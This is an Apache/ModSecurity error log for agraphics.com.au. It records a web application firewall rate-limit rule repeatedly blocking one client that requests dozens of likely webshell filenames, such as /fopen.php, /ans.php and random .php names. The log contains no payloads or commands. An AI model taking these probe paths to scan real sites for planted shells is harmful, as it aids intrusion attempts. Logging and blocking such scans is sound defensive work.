[Mon Mar 09 01:58:09.900137 2026] [:error] [pid 16352:tid 16357] [client 20.12.79.171:27732] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pgxfoqte.php"] [unique_id "aa24seS719tlqxBPD_DpiwAAAMI"]
[Mon Mar 09 01:58:11.213533 2026] [:error] [pid 49404:tid 49624] [client 20.12.79.171:27695] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2TlRXt7OgIM.php"] [unique_id "aa24s3c8Cw-aeCN3s76QnwAAA0o"]
[Mon Mar 09 01:58:12.109346 2026] [:error] [pid 49419:tid 49644] [client 20.12.79.171:27717] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2TlRXt7OgIM.php"] [unique_id "aa24tPSUwH6DJwBBi5B28wAAAAM"]
[Mon Mar 09 01:58:12.620027 2026] [:error] [pid 49419:tid 49662] [client 20.12.79.171:27652] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2TlRXt7OgIM.php"] [unique_id "aa24tPSUwH6DJwBBi5B29QAAABU"]
[Mon Mar 09 01:58:13.339278 2026] [:error] [pid 49404:tid 49633] [client 20.12.79.171:27609] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2TlRXt7OgIM.php"] [unique_id "aa24tXc8Cw-aeCN3s76QpQAAA1M"]
[Mon Mar 09 01:58:14.086360 2026] [:error] [pid 49392:tid 49590] [client 20.12.79.171:27738] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fopen.php"] [unique_id "aa24trhnfLjo2gwJdbFHLQAAAEQ"]
[Mon Mar 09 01:58:15.008010 2026] [:error] [pid 16352:tid 16379] [client 20.12.79.171:27721] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fopen.php"] [unique_id "aa24t-S719tlqxBPD_DplwAAANg"]
[Mon Mar 09 01:58:15.726113 2026] [:error] [pid 49419:tid 49664] [client 20.12.79.171:27690] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fopen.php"] [unique_id "aa24t_SUwH6DJwBBi5B29wAAABc"]
[Mon Mar 09 01:58:16.352287 2026] [:error] [pid 49677:tid 49737] [client 20.12.79.171:27761] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fopen.php"] [unique_id "aa24uNgMztaTv5fI2Xr3JQAAAIk"]
[Mon Mar 09 01:58:17.270774 2026] [:error] [pid 16352:tid 16358] [client 20.12.79.171:27671] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nokswnuh.php"] [unique_id "aa24ueS719tlqxBPD_DpmgAAAMM"]
[Mon Mar 09 01:58:17.735869 2026] [:error] [pid 16352:tid 16371] [client 20.12.79.171:27593] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nokswnuh.php"] [unique_id "aa24ueS719tlqxBPD_DpnAAAANA"]
[Mon Mar 09 01:58:18.407989 2026] [:error] [pid 16352:tid 16359] [client 20.12.79.171:27685] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nokswnuh.php"] [unique_id "aa24uuS719tlqxBPD_DpnQAAAMQ"]
[Mon Mar 09 01:58:20.092783 2026] [:error] [pid 49677:tid 49749] [client 20.12.79.171:27676] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nokswnuh.php"] [unique_id "aa24vNgMztaTv5fI2Xr3KwAAAJU"]
[Mon Mar 09 01:58:20.651844 2026] [:error] [pid 49404:tid 49632] [client 20.12.79.171:27672] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/41Wppt5xB9.php"] [unique_id "aa24vHc8Cw-aeCN3s76QrgAAA1I"]
[Mon Mar 09 01:58:21.195040 2026] [proxy_fcgi:error] [pid 16352:tid 16373] [client 20.12.79.171:27659] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 01:58:21.403303 2026] [proxy_fcgi:error] [pid 16352:tid 16355] [client 20.12.79.171:27659] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 01:58:21.609229 2026] [proxy_fcgi:error] [pid 16352:tid 16378] [client 20.12.79.171:27659] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 01:58:21.822866 2026] [proxy_fcgi:error] [pid 16352:tid 16369] [client 20.12.79.171:27659] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 01:58:22.026594 2026] [proxy_fcgi:error] [pid 16352:tid 16365] [client 20.12.79.171:27659] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 01:58:22.239842 2026] [proxy_fcgi:error] [pid 16352:tid 16364] [client 20.12.79.171:27659] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 01:58:22.463936 2026] [proxy_fcgi:error] [pid 16352:tid 16379] [client 20.12.79.171:27659] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 01:58:22.668338 2026] [proxy_fcgi:error] [pid 16352:tid 16362] [client 20.12.79.171:27659] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 01:58:22.873455 2026] [proxy_fcgi:error] [pid 16352:tid 16360] [client 20.12.79.171:27659] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 01:58:23.092518 2026] [proxy_fcgi:error] [pid 16352:tid 16367] [client 20.12.79.171:27659] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 01:58:23.296245 2026] [proxy_fcgi:error] [pid 16352:tid 16361] [client 20.12.79.171:27659] AH01071: Got error 'Primary script unknown'
[Mon Mar 09 01:58:23.499915 2026] [:error] [pid 16352:tid 16373] [client 20.12.79.171:27659] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qkvbqnne.php"] [unique_id "aa24v-S719tlqxBPD_DpsgAAANI"]
[Mon Mar 09 01:58:23.994041 2026] [:error] [pid 16352:tid 16371] [client 20.12.79.171:27756] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qkvbqnne.php"] [unique_id "aa24v-S719tlqxBPD_DptAAAANA"]
[Mon Mar 09 01:58:24.431152 2026] [:error] [pid 16352:tid 16376] [client 20.12.79.171:27630] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qkvbqnne.php"] [unique_id "aa24wOS719tlqxBPD_DptwAAANU"]
[Mon Mar 09 01:58:24.893352 2026] [:error] [pid 16352:tid 16364] [client 20.12.79.171:27673] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qkvbqnne.php"] [unique_id "aa24wOS719tlqxBPD_DpuQAAAMk"]
[Mon Mar 09 01:58:25.811264 2026] [:error] [pid 49677:tid 49742] [client 20.12.79.171:27599] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aa24wdgMztaTv5fI2Xr3PAAAAI4"]
[Mon Mar 09 01:58:26.522093 2026] [:error] [pid 16352:tid 16356] [client 20.12.79.171:27680] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aa24wuS719tlqxBPD_DpwAAAAME"]
[Mon Mar 09 01:58:27.293271 2026] [:error] [pid 49392:tid 49594] [client 20.12.79.171:27621] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aa24w7hnfLjo2gwJdbFHPQAAAEg"]
[Mon Mar 09 01:58:28.094626 2026] [:error] [pid 49404:tid 49631] [client 20.12.79.171:27696] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aa24xHc8Cw-aeCN3s76QswAAA1E"]
[Mon Mar 09 01:58:28.657236 2026] [:error] [pid 49392:tid 49590] [client 20.12.79.171:27757] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yjlqpamf.php"] [unique_id "aa24xLhnfLjo2gwJdbFHQgAAAEQ"]
[Mon Mar 09 01:58:29.235788 2026] [:error] [pid 49392:tid 49589] [client 20.12.79.171:27668] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yjlqpamf.php"] [unique_id "aa24xbhnfLjo2gwJdbFHRQAAAEM"]
[Mon Mar 09 01:58:29.716357 2026] [:error] [pid 49392:tid 49596] [client 20.12.79.171:27750] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yjlqpamf.php"] [unique_id "aa24xbhnfLjo2gwJdbFHRwAAAEo"]
[Mon Mar 09 01:58:30.198898 2026] [:error] [pid 49392:tid 49594] [client 20.12.79.171:27660] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yjlqpamf.php"] [unique_id "aa24xrhnfLjo2gwJdbFHSwAAAEg"]
[Mon Mar 09 01:58:30.743709 2026] [:error] [pid 49677:tid 49742] [client 20.12.79.171:27608] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aa24xtgMztaTv5fI2Xr3QAAAAI4"]
[Mon Mar 09 01:58:31.311916 2026] [:error] [pid 49404:tid 49626] [client 20.12.79.171:27765] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aa24x3c8Cw-aeCN3s76QuQAAA0w"]
[Mon Mar 09 01:58:31.786314 2026] [:error] [pid 49392:tid 49588] [client 20.12.79.171:27670] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aa24x7hnfLjo2gwJdbFHUwAAAEI"]
[Mon Mar 09 01:58:32.498973 2026] [:error] [pid 16352:tid 16366] [client 20.12.79.171:27692] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aa24yOS719tlqxBPD_DpzAAAAMs"]
[Mon Mar 09 01:58:33.182056 2026] [:error] [pid 16352:tid 16356] [client 20.12.79.171:27760] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/php-info.php"] [unique_id "aa24yeS719tlqxBPD_DpzgAAAME"]
[Mon Mar 09 01:58:33.862680 2026] [:error] [pid 16352:tid 16365] [client 20.12.79.171:27749] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/php-info.php"] [unique_id "aa24yeS719tlqxBPD_Dp1AAAAMo"]
[Mon Mar 09 01:58:34.505798 2026] [:error] [pid 49677:tid 49741] [client 20.12.79.171:27704] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/php-info.php"] [unique_id "aa24ytgMztaTv5fI2Xr3SAAAAI0"]
[Mon Mar 09 01:58:34.965683 2026] [:error] [pid 16352:tid 16359] [client 20.12.79.171:27769] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/php-info.php"] [unique_id "aa24yuS719tlqxBPD_Dp2QAAAMQ"]
[Mon Mar 09 01:58:35.912486 2026] [:error] [pid 16352:tid 16373] [client 20.12.79.171:27737] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ans.php"] [unique_id "aa24y-S719tlqxBPD_Dp3QAAANI"]
[Mon Mar 09 01:58:37.755068 2026] [:error] [pid 16352:tid 16375] [client 20.12.79.171:27742] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ans.php"] [unique_id "aa24zeS719tlqxBPD_Dp6QAAANQ"]
[Mon Mar 09 01:58:40.323280 2026] [:error] [pid 49404:tid 49616] [client 20.12.79.171:27675] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ans.php"] [unique_id "aa240Hc8Cw-aeCN3s76QvwAAA0I"]
[Mon Mar 09 01:58:42.539769 2026] [:error] [pid 16352:tid 16356] [client 20.12.79.171:27684] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ans.php"] [unique_id "aa240uS719tlqxBPD_Dp_gAAAME"]
[Mon Mar 09 01:58:43.485714 2026] [:error] [pid 49419:tid 49649] [client 20.12.79.171:27664] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltavrat.php"] [unique_id "aa240_SUwH6DJwBBi5B3CAAAAAg"]
[Mon Mar 09 01:58:44.650624 2026] [:error] [pid 49404:tid 49628] [client 20.12.79.171:27748] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltavrat.php"] [unique_id "aa241Hc8Cw-aeCN3s76QwwAAA04"]
[Mon Mar 09 01:58:45.266131 2026] [:error] [pid 49677:tid 49741] [client 20.12.79.171:27625] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltavrat.php"] [unique_id "aa241dgMztaTv5fI2Xr3YQAAAI0"]
[Mon Mar 09 01:58:45.950692 2026] [:error] [pid 49677:tid 49732] [client 20.12.79.171:27304] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltavrat.php"] [unique_id "aa241dgMztaTv5fI2Xr3YwAAAIQ"]
[Mon Mar 09 01:58:46.663282 2026] [:error] [pid 16352:tid 16378] [client 20.12.79.171:27701] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3YuwLn4aJ9T.php"] [unique_id "aa241uS719tlqxBPD_DqDAAAANc"]
[Mon Mar 09 01:58:47.340100 2026] [:error] [pid 16352:tid 16359] [client 20.12.79.171:27700] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3YuwLn4aJ9T.php"] [unique_id "aa241-S719tlqxBPD_DqDwAAAMQ"]
[Mon Mar 09 01:58:48.003164 2026] [:error] [pid 49419:tid 49642] [client 20.12.79.171:27709] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3YuwLn4aJ9T.php"] [unique_id "aa242PSUwH6DJwBBi5B3CgAAAAE"]
[Mon Mar 09 01:58:48.560539 2026] [:error] [pid 49392:tid 49589] [client 20.12.79.171:27603] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3YuwLn4aJ9T.php"] [unique_id "aa242LhnfLjo2gwJdbFHZAAAAEM"]
[Mon Mar 09 01:58:49.026586 2026] [:error] [pid 16352:tid 16376] [client 20.12.79.171:27698] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aAZUleCFR6G.php"] [unique_id "aa242eS719tlqxBPD_DqFAAAANU"]
[Mon Mar 09 01:58:49.642977 2026] [:error] [pid 16352:tid 16369] [client 20.12.79.171:27682] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aAZUleCFR6G.php"] [unique_id "aa242eS719tlqxBPD_DqFgAAAM4"]
[Mon Mar 09 01:58:50.216247 2026] [:error] [pid 16352:tid 16374] [client 20.12.79.171:27272] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aAZUleCFR6G.php"] [unique_id "aa242uS719tlqxBPD_DqFwAAANM"]
[Mon Mar 09 01:58:50.912300 2026] [:error] [pid 49677:tid 49728] [client 20.12.79.171:27606] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aAZUleCFR6G.php"] [unique_id "aa242tgMztaTv5fI2Xr3bAAAAIA"]
[Mon Mar 09 01:58:51.621842 2026] [:error] [pid 49419:tid 49641] [client 20.12.79.171:27677] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nam.php"] [unique_id "aa242_SUwH6DJwBBi5B3DAAAAAA"]
[Mon Mar 09 01:58:52.272348 2026] [:error] [pid 49419:tid 49646] [client 20.12.79.171:27712] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nam.php"] [unique_id "aa243PSUwH6DJwBBi5B3DwAAAAU"]
[Mon Mar 09 01:58:52.928694 2026] [:error] [pid 49392:tid 49594] [client 20.12.79.171:27766] [client 20.12.79.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nam.php"] [unique_id "aa243LhnfLjo2gwJdbFHawAAAEg"]
